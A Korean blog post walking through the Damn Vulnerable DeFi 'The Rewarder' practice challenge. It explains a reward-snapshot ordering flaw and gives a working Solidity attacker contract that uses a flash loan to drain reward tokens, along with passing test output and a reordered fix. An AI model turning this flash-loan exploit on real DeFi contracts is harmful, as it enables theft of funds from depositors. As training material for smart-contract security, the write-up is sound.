티스토리 뷰

문제

 

The Rewarder

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards! You don’t have any DVT tokens. But in the upcoming

www.damnvulnerabledefi.xyz


취약점

TheRewardPool의 deposit 함수가 호출되면 amountToDeposit 만큼의 지분 토큰을 msg.sender에게 민팅하고 distributeRewards 함수를 호출하여 보상 토큰을 분배합니다. 유동성 제공자의 가스비로 다른 참가자들에게 보상을 지급한다... 과연 다른 참가자들에게만 지급될까요?

function deposit(uint256 amountToDeposit) external {
    if (amountToDeposit == 0) revert MustDepositTokens();

    accToken.mint(msg.sender, amountToDeposit);
    distributeRewards();

    if (!liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)) revert TransferFail();
}

 distributeRewards 함수는 우선 isNewRewardsRound 함수를 호출하여 지난 보상을 지급한 시기로부터 REWARDS_ROUND_MIN_DURATION이 지났는지 확인합니다. 만약 그만한 시간이 지났다면 새로운 스냅샷을 기록합니다.

function distributeRewards() public returns (uint256) {
    uint256 rewards = 0;

    if (isNewRewardsRound()) {
        _recordSnapshot();
    }
    ...
    return rewards;
}

function _recordSnapshot() private {
    lastSnapshotIdForRewards = accToken.snapshot();
    lastRecordedSnapshotTimestamp = block.timestamp;
    roundNumber++;
}

function isNewRewardsRound() public view returns (bool) {
    return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}

 문제는 이런 식으로 스냅샷이 기록되면 deposit 함수에서 공격자에게 민팅된 지분 토큰이 totalSupply에 집계된다는 것입니다. 따라서 공격자에게도 보상 토큰이 지급되게 되고 다른 참가자들은 sender의 지분으로 인해 예상했던 것보다 더 적은 양의 보상을 받게 됩니다.

uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
    rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

    if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
        rewardToken.mint(msg.sender, rewards);
        lastRewardTimestamps[msg.sender] = block.timestamp;
    }
}

공격

 가능한 많은 양의 보상을 땡기려면 FlashLoanerPool의 모든 지분 토큰을 빌려서 예치하면 됩니다. 그리고 난 뒤에 예치한 지분 토큰을 인출하고 FlashLoanderPool에 돌려줍니다. 마지막으로 컨트랙트가 받은 보상 토큰을 공격자에게 전송합니다.

contract Attacker {
    FlashLoanerPool public flashLoanerPool;
    TheRewarderPool public theRewarderPool;
    DamnValuableToken public dvt;

    address public owner;

    constructor(address _flashLoanerPool, address _rewarderPool, address _dvt) {
        flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
        theRewarderPool = TheRewarderPool(_rewarderPool);
        dvt = DamnValuableToken(_dvt);
        owner = msg.sender;
    }

    function flashLoan(uint256 amount) external {
        flashLoanerPool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external {
        dvt.approve(address(theRewarderPool), amount);
        theRewarderPool.deposit(amount);
        theRewarderPool.withdraw(amount);
        dvt.transfer(address(flashLoanerPool), amount);
        theRewarderPool.rewardToken().transfer(owner, theRewarderPool.rewardToken().balanceOf(address(this)));
    }
}

 이 때 주의할 점은 보상이 지급되고 5일이 지난 시점에서 공격이 실행되어야 한다는 것입니다. 그래야만 공격 과정에서 새로운 스냅샷이 기록되고 distributeRewards 함수를 통해 공격자가 보상 토큰을 받을 수 있습니다.

vm.warp(block.timestamp + 5 days); // 5 days

vm.startPrank(attacker);
Attacker attackerContract = new Attacker(address(flashLoanerPool), address(theRewarderPool), address(dvt));
attackerContract.flashLoan(TOKENS_IN_LENDER_POOL);
vm.stopPrank();
$ make TheRewarder 
forge test --match-test testExploit --match-contract TheRewarder
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/the-rewarder/TheRewarder.t.sol:TheRewarder
[PASS] testExploit() (gas: 942205)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.51ms

Ran 1 test suite in 26.51ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

 먼저 다른 참여자들의 보상을 지급하고 난 후에 sender에게 지분 토큰을 민팅합니다. 먼저 스냅샷을 기록하고 보상을 지급하고 나서 보상 토큰을 지급하면 결국 플래시 론으로 빌린 토큰을 다시 인출해야 하므로 공격자는 어떠한 보상도 받을 수 없게 됩니다. 또한 재진입 공격을 방지하기 위해 토큰을 먼저 전송하고 나머지 로직을 실행해야 합니다. Reentrancy Guard를 사용하는 것도 좋은 방법입니다.

function deposit(uint256 amountToDeposit) external {
    if (amountToDeposit == 0) revert MustDepositTokens();

    if (!liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)) revert TransferFail();

    distributeRewards();
    accToken.mint(msg.sender, amountToDeposit);
}

'Solidity > Hacking' 카테고리의 다른 글

[Damn Vulnerable DeFi] Compromised  (1) 2024.02.27
[Damn Vulnerable DeFi] Selfie  (0) 2024.02.26
[Ethernaut] 24. Puzzle Wallet  (1) 2024.02.25
[Ethernaut] 26. DoubleEntryPoint  (1) 2024.02.24
[Ethernaut] 25. Motorbike  (0) 2024.02.23
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함